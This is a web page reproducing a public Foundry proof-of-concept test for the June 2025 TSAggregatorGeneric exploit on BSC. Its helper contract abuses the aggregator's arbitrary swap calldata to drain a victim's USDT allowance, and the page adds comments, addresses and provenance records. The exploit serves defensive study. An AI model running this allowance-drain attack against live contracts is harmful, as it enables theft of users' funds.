Public reproduction file
src/test/2025-06/TSAggregatorGeneric_exp.sol
Public reproduction file for dataset entry TSAggregatorGeneric.
Code
Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.
1// SPDX-License-Identifier: UNLICENSED2pragma solidity ^0.8.10;4import "../basetest.sol";5import "../interface.sol";7// @KeyInfo - Total Lost : 1,300.00 USDT8// Attacker : 0xd76Bfdbfe0F47D63C99Ea47f05262E0D43097E5a9// Attack Contract : 0x7e0BDfaE4ECC3d84A4107625b7B7C227F598ef5610// Vulnerable Contract : 0xb6FA6f1dCd686f4A573fD243a6fABb4Ba36ba98C11// Attack Tx : https://bscscan.com/tx/0x077ea419bd5f0a20dc8f3da1281fbc96d6893201ebfd237742d01ae00a78e61012//13// @Info14// Vulnerable Contract Code : https://bscscan.com/address/0xb6FA6f1dCd686f4A573fD243a6fABb4Ba36ba98C#code15//16// @Analysis17// Twitter Guy : https://t.me/defimon_alerts/127818//19// Attack summary: The attacker called TSAggregatorGeneric.swapIn with zero WBNB input and used the caller-chosen20// swapRouter/data parameters to make the aggregator call USDT.transferFrom(victim, attacker helper, amount).21// Root cause: swapIn trusted arbitrary swap target calldata while the aggregator had victim USDT allowance, letting22// an attacker spend that allowance without performing a real swap.24address constant ATTACKER = 0xD76bFdbfe0F47d63C99EA47F05262E0d43097e5a;25address constant ATTACK_HELPER = 0x7E0BdfAe4ecc3D84A4107625B7b7C227f598Ef56;26address constant TS_AGGREGATOR = 0xB6fA6f1DcD686F4A573Fd243a6FABb4ba36Ba98c;27address constant VICTIM = 0x806aC20b7d84681cA8b8D52aB75B9ABEFa750131;28address constant WBNB_TOKEN = 0xbb4CdB9CBd36B01bD1cBaEBF2De08d9173bc095c;29address constant USDT_TOKEN = 0x55d398326f99059fF775485246999027B3197955;31interface ITSAggregatorGeneric {32 function swapIn(33 address router,34 address vault,35 string calldata memo,36 address token,37 uint256 amount,38 address swapRouter,39 bytes calldata data,40 uint256 deadline41 ) external;42}44contract ContractTest is BaseTestWithBalanceLog {45 function setUp() public {46 uint256 forkBlock = 51_426_887;47 vm.createSelectFork("bsc", forkBlock);49 fundingToken = USDT_TOKEN;50 attacker = ATTACKER;52 vm.label(ATTACKER, "Attacker");53 vm.label(ATTACK_HELPER, "Attack Helper");54 vm.label(TS_AGGREGATOR, "TSAggregatorGeneric");55 vm.label(VICTIM, "Victim");56 vm.label(WBNB_TOKEN, "WBNB");57 vm.label(USDT_TOKEN, "USDT");58 }60 function testExploit() public balanceLog {61 uint256 victimBalanceBefore = IERC20(USDT_TOKEN).balanceOf(VICTIM);62 uint256 attackerBalanceBefore = IERC20(USDT_TOKEN).balanceOf(ATTACKER);64 assertGt(victimBalanceBefore, 1_000 ether);65 assertGe(IERC20(USDT_TOKEN).allowance(VICTIM, TS_AGGREGATOR), victimBalanceBefore);67 // step 1: deploy an attacker helper that abuses the aggregator's arbitrary swap target/data.68 vm.prank(ATTACKER);69 TSAggregatorAttack attack = new TSAggregatorAttack(ATTACKER);70 attack.execute(victimBalanceBefore);72 // step 2: the victim's USDT allowance was spent by the aggregator and forwarded to the attacker.73 uint256 attackerProfit = IERC20(USDT_TOKEN).balanceOf(ATTACKER) - attackerBalanceBefore;74 assertEq(attackerProfit, victimBalanceBefore);75 assertEq(IERC20(USDT_TOKEN).balanceOf(VICTIM), 0);76 }77}79contract TSAggregatorAttack {80 address private immutable profitReceiver;82 constructor(83 address receiver84 ) {85 profitReceiver = receiver;86 }88 function execute(89 uint256 amountToSteal90 ) external {91 bytes memory maliciousSwapData =92 abi.encodeWithSelector(IERC20.transferFrom.selector, VICTIM, address(this), amountToSteal);94 // step 3: zero WBNB input keeps tokenTransferProxy side effects empty; USDT is the attacker-chosen swap target.95 ITSAggregatorGeneric(TS_AGGREGATOR).swapIn(96 address(this),97 address(this),98 "",99 WBNB_TOKEN,100 0,101 USDT_TOKEN,102 maliciousSwapData,103 block.timestamp + 1 hours104 );106 IERC20(USDT_TOKEN).transfer(profitReceiver, IERC20(USDT_TOKEN).balanceOf(address(this)));107 }109 function depositWithExpiry(address payable, address, uint256, string memory, uint256) external payable {}110}Analysis
Dataset entry
Public Foundry test for “TSAggregatorGeneric” (2025-06-14). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.
Related files
24 linkedImports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.
- src/test/basetest.solImported by this file · 142 lines
- src/test/interface.solImported by this file · 6133 lines
- src/test/2025-06/AAVEBoost_exp.solSame month in the dataset · 78 lines
- src/test/2025-06/BankrollNetwork_exp.solSame month in the dataset · 84 lines
- src/test/2025-06/BankrollStack_exp.solSame month in the dataset · 65 lines
- src/test/2025-06/BankrollStackPlus_exp.solSame month in the dataset · 168 lines
- src/test/2025-06/BasePricePool_exp.solSame month in the dataset · 135 lines
- src/test/2025-06/BitCrown_exp.solSame month in the dataset · 96 lines
- src/test/2025-06/FixedTokenBSwap_exp.solSame month in the dataset · 158 lines
- src/test/2025-06/Gangsterfinance_exp.solSame month in the dataset · 68 lines
- src/test/2025-06/GradientMakerPool_exp.solSame month in the dataset · 113 lines
- src/test/2025-06/HoldSafe_exp.solSame month in the dataset · 176 lines
- src/test/2025-06/InitcodeFactoryFees_exp.solSame month in the dataset · 233 lines
- src/test/2025-06/MetaPool_exp.solSame month in the dataset · 151 lines
- src/test/2025-06/ParaSwapDAIApproval_exp.solSame month in the dataset · 201 lines
- src/test/2025-06/PegaBall_exp.solSame month in the dataset · 104 lines
- src/test/2025-06/ResupplyFi_exp.solSame month in the dataset · 138 lines
- src/test/2025-06/SiloFinance_exp.solSame month in the dataset · 201 lines
- src/test/2025-06/SinstakeZombie_exp.solSame month in the dataset · 138 lines
- src/test/2025-06/Stead_exp.solSame month in the dataset · 39 lines
- src/test/2025-06/TokenFactory_exp.solSame month in the dataset · 126 lines
- src/test/2025-06/TokenVault_exp.solSame month in the dataset · 130 lines
- src/test/2025-06/unverified_8490_exp.solSame month in the dataset · 108 lines
- src/test/2025-06/unverified_b5cb_exp.solSame month in the dataset · 115 lines
Listed in the source file
Listed by the source dataset, not verified by ThreatWire
- Attacker
0xd76bfdbfe0f47d63c99ea47f05262e0d43097e5a
- Attack Contract
0x7e0bdfae4ecc3d84a4107625b7b7c227f598ef56
- Vulnerable Contract
0xb6fa6f1dcd686f4a573fd243a6fabb4ba36ba98c
- Attack Tx
0x077ea419bd5f0a20dc8f3da1281fbc96d6893201ebfd237742d01ae00a78e610
File record
- Name
- TSAggregatorGeneric
- Path
- src/test/2025-06/TSAggregatorGeneric_exp.sol
- Repository
- SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
- Commit
- 7363f76db51f0fea97f8e659b20ee8bdc5fbca25
- Blob
- c31cf838a7d93e626c2710547957c3abb8d54d2c
- Language
- Solidity
- Size
- 111 lines
- Date
- 2025-06-14
- Licence
- file header UNLICENSED; repository Apache-2.0
- Retrieved
- 2026-10-19
Provenance
Path src/test/2025-06/TSAggregatorGeneric_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob c31cf838a7d93e626c2710547957c3abb8d54d2c, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.